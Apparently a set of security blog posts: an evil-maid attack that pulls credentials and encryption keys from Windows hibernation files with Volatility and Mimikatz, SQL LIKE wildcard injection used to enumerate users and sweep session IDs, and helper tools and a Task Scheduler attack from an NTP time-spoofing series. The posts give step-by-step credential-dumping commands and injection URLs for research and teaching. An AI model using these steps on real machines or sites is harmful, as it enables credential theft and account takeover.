Evil-Maid attacks with Hibernation

I have shared the speech I gave in the last RootedCon Valencia, about an Evil-Maid attack technique exploiting Windows hibernation files.

This technique is not new (and I didn't discover it for the first time), but it isn't very well documented.

I have also written about this kind of attacks in Areopago21 blog (in Spanish).

In this post I am going to focus on the hands-on part.

Summarizing: If we get physical access to a computer powered on (but locked) or in suspension. We can try to recover the critical volatile information (session identifiers, clear-text passwords, cryptographic keys, etc.) from the hibernation file.

In order to obtain the hibernation file, we need to extract it from the hard drive. We could boot the computer from an external device (forensic Linux distro, Hirens bootcd, etc.) or we could take out the hard drive from the computer. If the hard drive is encrypted, it gets more complicated.

This file is in the root of the drive: c:\hiberfyl.sys. Even for Windows, this file is hidden by default and it is locked, so we can’t read it.

The hibernation file is never deleted, only its headers are modified when it is used for rebooting. This way, if the computer has been hibernated at any time in the past, we will have this file. If not, we need to force an hibernation.

This is possible even if the computer is locked, if the user has activated the hibernation option:

Unfortunately, starting from Windows 7, the hibernation feature is disabled by default. Although some laptop manufactures enable it.

However, there is a way to force hibernation. If the battery reaches critical level, the computer is hibernated automatically. This is configured by default in all Windows version up to Windows 10.

Once we have the hibernation file, we can work with it:

The basic tool for the task is Volatility; with it we can do the following things:

• Obtaining information about the hibernation file: vol.exe hibinfo -f hiberfil.sys

• Convert it to raw format: vol.exe imagecopy -f hiberfil.sys -O hiberfil.bin

• Convert it to DMP format (Windbg compatible): vol.exe raw2dmp -f hiberfil.sys -O hiberfil.dmp

• Obtaining the browsing history: vol.exe iehistory -f hiberfil.sys

• Obtaining local password hashes: vol.exe hashdump -f hiberfil.sys

• Obtaining Truecrypt cryptographic keys: vol.exe truecryptpassphrase -f hiberfil.sys

Example of usage:

We also have multiple community plugins for other tasks: mimikatz, bitlocker, bitcoin, etc.

For the conversion we can also use the tools from Matt Suiche (just released), previously known as MoonSols Windows Memory Toolkit. They work better than Volatility and they support Windows up to version 10.

Despite we have a Mimikatz plugin for Volatility, it is very limited so it’s better to work directly with Mimikatz. For that we have to:

• Convert the hiberfil.sys file to a format compatible with Windbg (DMP):

  o vol.exe raw2dmp -f hiberfil.sys -O hiberfil.dmp –profile=Win7SP0x64

• Load the DMP into Windbg:

  o .symfix => Configures the Microsoft symbol repositories.

  o .reload => Reloads the needed symbols.

  o .load wow64exts => Loads the module for debugging WOW64 processes.

  o !wow64exts.sw => Activates WOW64 extensions.

• Load Mimikatz module in Windbg:

  o .load c:\Users\rpinuaga\Desktop\bad-hibernation\demo\mimilib64.dll => Loads the Mimikatz module.

  o !process 0 0 lsass.exe => Looks for the lsass process (Local Security Authority Subsystem Service).

  o .process /r /p fffffa800424e910 => Configures the context to the lsass process.

  o !mimikatz

And it’s done, here we have the results:

Note: Volatility only supports hibernation files from Windows up to version 7 (starting in Windows 8 the format changes a bit). The new tool from Matt Suiche in theory allows it, but last time I checked the file resulting from the conversion was not recognized by Volatility.

SQL LIKE clauses wildcard injection

I’m going to talk about a little known vulnerability and traditionally considered of low risk, although as we are going to see in some situations it can have a big impact.

This vulnerability involves the possibility of injecting a wildcard in the search field of a LIKE clause in a SQL statement.

OWASP covers briefly this kind of injections in its guides.

In SQL we have 2 types of wildcards:

• % equivalent to any string of cero or more characters.
• _ equivalent to any character.

An application is vulnerable to this attack when it uses the LIKE operator with a user received parameter not filtering any of these 2 wildcards.

For example if we have the following URL:
http://www.example.com/fruit.php?name=apple

That shows a text extracted from the database with a SQL query like the following:
SELECT text FROM table WHERE fruit LIKE ‘$name’

Instead of using the simple form:
SELECT text FROM table WHERE fruit=‘$name’

Even if the $name parameter is sanitized for avoiding SQL injection (for example filtering the single quote) it’s still possible to inject wildcards in the search field, as following:
http://www.example.com/fruit.php?name=ap%

In an application like this, altering the search logic it’s not critical, but what happens if we have another application like the following? (Where we don’t know the name of the users).
http://www.example.com/userphoto.php?name=john

We can easily do the following and obtain a listing of all available users:
http://www.example.com/userphoto.php?name=a%
http://www.example.com/userphoto.php?name=b%
http://www.example.com/userphoto.php?name=c%
…

We can automate the process with a simple script that will go pulling the names of each user character by character (like in the war games movie).

In what situations this kind of vulnerabilities can be dangerous?

• In login forms. I have found sometimes this vulnerability in the “username” field of some forms and less commonly even in the “password” field.
• In password recovery forms. This vulnerability can allow us to reset the password of other users.
• In fields containing session identifiers or tokens. This vulnerability can allow us to “steal” or “predict” the tokens or the sessions ids of other users.

It’s incredible but this works sometimes:

The injection of the % wildcard sometimes can be hard, because this character is usually filtered to avoid encoding attacks o precisely because it is wrongly decoded (in this case we can replace it by %25 or %2525).

Some time ago I found a curious situation where an application authenticated users with a session identifier stored in a database. The extraction of the values stored was made with a vulnerable query, this way:
http://www.example.com/admin/private.php?sessionid=0123456789

The server filtered the % wildcard, but the _ character was permitted. With the following trick we could exploit the vulnerability:
http://www.example.com/admin/privado.php?sessionid=__________

If we wanted to access a specific session, we only needed to do a sweep:
http://www.example.com/admin/privado.php?sessionid=0_________
http://www.example.com/admin/privado.php?sessionid=1_________
http://www.example.com/admin/privado.php?sessionid=2_________
…

Why some programmers fall with this evident bug?

I suppose that sometimes it’s only an oversight, but I have detected that some programming frameworks encapsulate the SQL statements transparently for the programmer but internally they use the LIKE operator, without him even knowing.

For example the following Django sentence:
result=Entry.objects.get(headline__contains='Lennon')

Results in:
SELECT ... WHERE headline LIKE '%Lennon%'

This can easily lead to multiple vulnerabilities if the developer is not careful.

Also this other bug very similar in the Propel module of Symfony.

Helper tools for Delorean

Have a look to other posts of this serie:

[1] NTP MitM Attack using a Delorean

[2] Mac OS X Time Synchronization

[3] Fedora / Ubuntu Time Synchronization

[4] Microsoft Time Synchronization

[5] Attacking HTTP Strict Transport Security

[6] Attacking the Public Key Infrastructure

[7] Other Attacks
[8] Helper tools

Disclaimer: All this information has been obtained from empirical tests and in a specific period of time, so they could have changed.

We are finally in the last post of this serie about Deloran. At this point, I have talked about the attacks that were tested, about the tool and many other things. However, if you pay attention to the Delorean repository, you will see that there are  couple of additional python scripts there. They are small tools that I created as a helper tools, because I needed a feature but I didn't make sense to integrate it with Delorean, so I keep them as separate tools.

The first one is hsts_catcher.py which is a simple tools that just connects to a website an returns its HSTS configuration. Nothing that you couldn't do with curl and grep:

$ ./hsts_catcher.py -U https://accounts.google.com -A "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)"

max-age=10893354; includeSubDomains

The second tools is crl_checker.py which is much cooler than hits_catcher.py. When I was looking for certificates that I could use, I faced a big problem: Some certificates that I found had issues in their certificate chain, for example it root CA was expired or similar problems. Unfortunately, checking all possible issues is a pain in the ass a manual process that can take valuable time, so the most convenient option was to use a browser to check if the certificate chain was valid or no. However, I had another problem here: A web server needs both the certificate and the private key, and to find the private key is the hardest part here, so I prefer to do it only for those certificates where I know I will be successful in advance. It seemed the egg and the chicken problem.

That's why crl_checker.py was born. It implements the first stages of the SSL handshake, where the private key is not really needed before the certificate validation, so we can check it just using our browser and running the following command:

$ ./crl_checker.py -p 10443 -c /etc/apache2/ssl/ietf.crt

Sometimes you need to refresh several times to have this warning message. Probably my SSL handshake implementation is too much hardcoded, but I haven't go in depth of this since the tool is still useful.

You will always see a warning message even if the certificate chain is perfect, because you are not connecting to the correct hostname, but this doesn't really matters. There are other warning messages that doesn't matter as well, such us the expiration one, since we will use Delorean to bypass this. If you only have these warning messages... that's great! your certificate can be used for a successful attack. Now you need to get the private key as we did in previous posts.

If you aren't lucky, you will see other warning messages such as "the issuer certificate is unknown" which means that the issuer CA was removed from trusted CAs list or other similar issues. You probably should try with another victim.

Other Attacks using Delorean

Have a look to other posts of this serie:

[1] NTP MitM Attack using a Delorean

[2] Mac OS X Time Synchronization

[3] Fedora / Ubuntu Time Synchronization

[4] Microsoft Time Synchronization

[5] Attacking HTTP Strict Transport Security

[6] Attacking the Public Key Infrastructure

[7] Other Attacks
[8] Helper tools

Disclaimer: All this information has been obtained from empirical tests and in a specific period of time, so they could have changed.

The attacks shown in the previous posts are the ones that I considered more likely and with biggest impact. However, I was trying other exploitation opportunities using time synchronization attacks. Some of them worked even being unlikely, and some others didn't work at all.

One of the attacks that worked was an attack against the Windows Task Scheduler. As you probably know, there is a service in Windows boxes that run certain maintenance tasks in the background, such as the same time synchronization.

The task scheduler keeps information about the last time when the task was ran and the next time it will do. These fields are important because, depending on the task configuration, "Next Run Time" is sometimes calculated based on the "Last Run time", which gives us the opportunity to manipulate the next run time by manipulating the clock using Delorean.

As I said, not all the tasks calculate "Next Run Time" in this way, but there are some interesting tasks that do, for example the Windows Automatic Updated Service.

So, What happen if we manipulate the the clock using Delorean, as we did in previous posts, and the Windows Automatic Update task is executed? The "Last Run Time" field would be updated to the fake date (let's said 2020), so the "Next Run Time" would be calculated in base of that date, in other words, at some point in 2020. That should't be a problem if the system would maintain that fake date forever, but if the clock is restored to the real date... then the next Windows Automatic Update will take place in 4 years, so the users wouldn't be warned about new updates and fixes if they don't manually check it.

This is an unlikely attack because Windows is the mosts unlikely platform to be a victim for a Delorean attack, and because I couldn't find a way to restore the clock without user intervention. However, other tasks and other platforms (cron in Linux, for example) could be abused in the same way.